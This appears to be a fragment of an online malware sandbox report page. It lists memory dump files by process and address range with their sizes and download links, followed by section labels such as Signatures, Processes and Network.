memory/2756-16-0x0000000072BD0000-0x000000007317B000-memory.dmp

Filesize
5.7MB

Download
memory/2756-19-0x0000000002A10000-0x0000000002A50000-memory.dmp

Filesize
256KB

Download
memory/2756-42-0x0000000002A10000-0x0000000002A50000-memory.dmp

Filesize
256KB

Download
memory/2756-41-0x0000000076D30000-0x0000000076ED9000-memory.dmp

Filesize
1.7MB

Download
memory/2984-13-0x0000000002CD0000-0x0000000002CE2000-memory.dmp

Filesize
72KB

Download
memory/2984-4-0x000000001B560000-0x000000001B842000-memory.dmp

Filesize
2.9MB

Download
memory/2984-32-0x000007FEF5140000-0x000007FEF5ADD000-memory.dmp

Filesize
9.6MB

Download
memory/2984-36-0x0000000002CF0000-0x0000000002D70000-memory.dmp

Filesize
512KB

Download
memory/2984-8-0x000007FEF5140000-0x000007FEF5ADD000-memory.dmp

Filesize
9.6MB

Download
memory/2984-7-0x0000000002CF0000-0x0000000002D70000-memory.dmp

Filesize
512KB

Download
memory/2984-37-0x0000000002CF0000-0x0000000002D70000-memory.dmp

Filesize
512KB

Download
memory/2984-6-0x000007FEF5140000-0x000007FEF5ADD000-memory.dmp

Filesize
9.6MB

Download
memory/2984-34-0x0000000002CF0000-0x0000000002D70000-memory.dmp

Filesize
512KB

Download
memory/2984-71-0x000007FEF5140000-0x000007FEF5ADD000-memory.dmp

Filesize
9.6MB

Download
memory/2984-12-0x000000001B480000-0x000000001B4A2000-memory.dmp

Filesize
136KB

Download
memory/2984-10-0x0000000002CF0000-0x0000000002D70000-memory.dmp

Filesize
512KB

Download
memory/2984-11-0x0000000002CF0000-0x0000000002D70000-memory.dmp

Filesize
512KB

Download
memory/2984-5-0x0000000002810000-0x0000000002818000-memory.dmp

Filesize
32KB

Download
memory/2984-33-0x0000000002CF0000-0x0000000002D70000-memory.dmp

Filesize
512KB

Download
memory/2984-9-0x0000000002CF0000-0x0000000002D70000-memory.dmp

Filesize
512KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v13

Replay Monitor

Loading Replay Monitor...

Downloads